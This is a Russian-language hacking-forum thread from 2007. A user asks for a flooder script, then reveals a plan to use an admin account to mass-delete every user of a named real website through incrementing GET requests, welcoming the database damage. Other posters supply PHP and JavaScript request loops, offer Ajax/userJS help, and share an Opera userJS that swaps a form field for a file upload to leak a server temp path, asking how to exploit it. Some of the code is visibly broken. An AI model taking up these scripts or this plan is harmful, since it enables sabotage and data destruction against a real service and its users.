Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Флудер на JavaScript (https://forum.antichat.xyz/showthread.php?t=40022)

Napalmed 13.05.2007 15:00

Флудер на JavaScript
 
Господа, нужен простенький скрипт, который будет постоянно обращаться по заданному адресу, подставляя в передаваемые параметры значение счётчика.

То есть он должен обратиться к
http://www.domain.com/index.php?id1=1&id2=1
затем
http://www.domain.com/index.php?id1=2&id2=2
http://www.domain.com/index.php?id1=3&id2=3
...

и так далее. =)

Могём?

Isis 13.05.2007 15:05

На php
Чуть не понял, но сделаю как ты написал:
PHP код:

<?php
$sah 
3// Значение счетчика
for($i 0$i <= $sah;; $i++)
{
         
$fp fsockopen("http://www.domain.com/index.php?id1=1&id2=".$i80$errno$errstr30);
if (!
$fp) {
    echo 
"$errstr ($errno)<br />\n";
} else {
    
$out "GET / HTTP/1.1\r\n";
    
$out .= "Host: www.domain.com\r\n";
    
$out .= "Connection: Close\r\n\r\n";

    
fwrite($fp$out);
    while (!
feof($fp)) {
        echo 
fgets($fp128);
    }
    
fclose($fp);
}
}
?>


Napalmed 13.05.2007 15:21

Не ребят, если на пхп - нужно будет с авторизацией!

je0n 13.05.2007 18:33

хм... на ява скрипт приходит в голову только вот так примерно:
PHP код:

count=100    //значение счетчика
for(i=1;i<count;i++)
{
j=i;
window.open('http://domain.com.php?id1='+i+'&id2='+j'_blank''width=620,height=400,resizable=1,scrollbars=1');


Но, блин, так у тя система в 5 сек повиснит :)
Я не ас, но кажется, что тут ЯваСкриптом не отделаешься.

Zebra 13.05.2007 20:49

Яваскриптом по-любэ не тедлаешьсЯ, на худой конец Ajaxом. Но выполнятсья скрипт должен в любом случае браузером, вопрос чьим? имхо решать подобное джаваскриптом странно =/

nerezus 13.05.2007 21:42

Цитата:

на худой конец Ajaxом.
нельзя на другой сервер аяксом.
P.S. аякс - это джаваскрипт.

Zebra 13.05.2007 21:59

Цитата:

Сообщение от nerezus
P.S. аякс - это джаваскрипт.

частично))

nerezus 13.05.2007 22:56

Цитата:

частично))
Почему частично? Вполне можно работать с Ajax без серверного кода.

Zebra 13.05.2007 22:59

Верю. Исключительно проблема дефиниций. Насколько я знаю, под аяксом подразумевается вся совокупность некоторых функций, выполняемых разными языками для одной цели. в том числе и js. Хотя могу и ошибаться, аосему спорить не буду.

Napalmed 14.05.2007 00:26

"Но, блин, так у тя система в 5 сек повиснит
Я не ас, но кажется, что тут ЯваСкриптом не отделаешься"
Я сделаю небольшое замедление, сойдёт =) Большое спасибо

"выполнятсья скрипт должен в любом случае браузером, вопрос чьим? имхо решать подобное джаваскриптом странно"
Моим. И тем не менее... ;) На пхп... Если кто может, напишите скрипт, авторизующийся на серваке, сохраняющий куки в файл, ну а потом по уже приведённому примеру... Это было бы просто шоколадно.

je0n 14.05.2007 00:40

ты хотя бы напиши какие куки устанавливать надо. А там уже постараемся помочь. А лучше сразу сайт говори, чтобы на примере работать.

Napalmed 14.05.2007 10:22

Сайт www.nnov.ru
У меня есть аккаунт админа
удаление пользователей выполняется гет-запросом вида
Цитата:

http://emo.nnov.ru/?name=uu&user_id=20655&delUserId=20655
20655 - айди юзера. Моя идея в том, чтобы запустить скрипт, который будет удалять всех подряд пользователей. Вместе с ними падают куски бд, что есть очень хорошо. Подробнее я написал ещё вот тут: __http://forum.antichat.ru/showthread.php?p=362657#post362657

invlose 14.05.2007 20:51

Napalmed

как формируются?юзериды....подр бнее можно
Ajax можно использовать (c помощью userJs)


еще вариант Используя userJs можно просто так же с помощью ajax заружать страницу и считывать юзериды,затем удалять юзеров
Хочешь -- напиши свою асю мне в ЛС и когда будешь в сети(нужен код страницы)

invlose 15.05.2007 20:09

в коде страницы случайно нашел


<form ..... enctype="multipart/form-data">


Теперь берем Opera и в папку которая прописана в свойствах для javascript(туда можно кидать свои скрипты userJs)

создаем файл wow.js c таким содержимым
PHP код:

// ==UserScript==  
// @exclude *  
// @include http://emo.nnov.ru/?id*
// ==/UserScript==  
document.addEventListener("DOMContentLoaded"Qfalse);
 function 
Q(){ 
var 
document.getElementById('postform');
var 
f.text;
t.parentNode.removeChild(t);
var 
file document.createElement('input'); 
file.type 'file';
file.name 'text';  f.appendChild(file);  



в итоге пробуем залить файл
и вместо сообщения получаем название временной папки /tmp/phpgRIUBz





Вопрос это как-то можно использовать????


внимание:
чтобы отправлять сообщения на том сайте нужно зарегиться

*******************************


Время: 10:41